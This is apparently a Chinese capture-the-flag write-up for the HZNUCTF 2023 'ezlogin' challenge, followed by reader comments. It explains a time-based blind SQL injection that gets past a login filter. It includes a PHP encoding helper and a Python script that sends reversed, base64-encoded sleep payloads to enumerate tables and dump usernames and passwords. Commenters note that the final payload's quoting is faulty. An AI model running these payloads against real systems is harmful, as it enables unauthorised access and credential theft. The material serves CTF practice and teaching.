0%

[HZNUCTF 2023 preliminary]ezlogin y2tsf的WriteUp

2023-04-06 13:28By
y2tsf
WEBSQL注入盲注

ezlogin

是个登录界面,看到了hint

<!--
$username = strrev(base64_decode($_POST['username']));
$username = preg_replace('/select|union|and|database/', "hznuctf2023", $username);-->

经过测试,只返回一种界面(除了过滤界面),但是后面用时间盲注的时候会出现其他界面。

考虑使用时间盲注,先判断是类型和闭合

<?php
$b="1'||if(1,sleep(5),1)#";
$a=base64_encode(strrev($b));
$c = strrev(base64_decode($a));
echo $a;
1||if(1.sleep(5),1)#
1'||if(1,sleep(5),1)#

发现是单引号闭合

import requests
import base64
import datetime

url='http://43.142.108.3:28279/'
flag = ''

for i in range(1,100):
    low = 32
    high = 130
    mid = (high + low) // 2
    while (low < high):
        #payload = "1'||if((ascii(substr((DATABASE()),{},1)))>{},sleep(1),1)#"
        #payload = "1'||if((ascii(substr((SELECT/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/DATABASE()),{},1)))>{},sleep(1),1)#"
        #payload = "1'||if((ascii(substr((SELECT/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/DATABASE()/**/AND/**/table_name/**/like/**/'user'),{},1)))>{},sleep(1),1)#"
        payload = "1'||if((ascii(substr((SELECT/**/group_concat('username','^''password')/**/from/**/users.user),{},1)))>{},sleep(1),1)#"

        payload = payload.format(i, mid)
        print(payload)
        payload = base64.b64encode(payload[::-1].encode("utf-8"))
        data = {
            'username':payload,
            'passwd':'1'
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 130):
        break
    flag += chr(mid)
    print(flag)
users
user
id,username,password
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论

谢谢佬的脚本, 最后的执行那里最好改一下group_concat(username,'^',password), 查询列名加单引号实际上是不能执行的, 可以改成反引号`或者去掉

你说的是正确的

请问最后一个payload中'username','^''password'是什么用处呢?

就是同时查询username和password,中间加个^只是为了分隔开 好看一点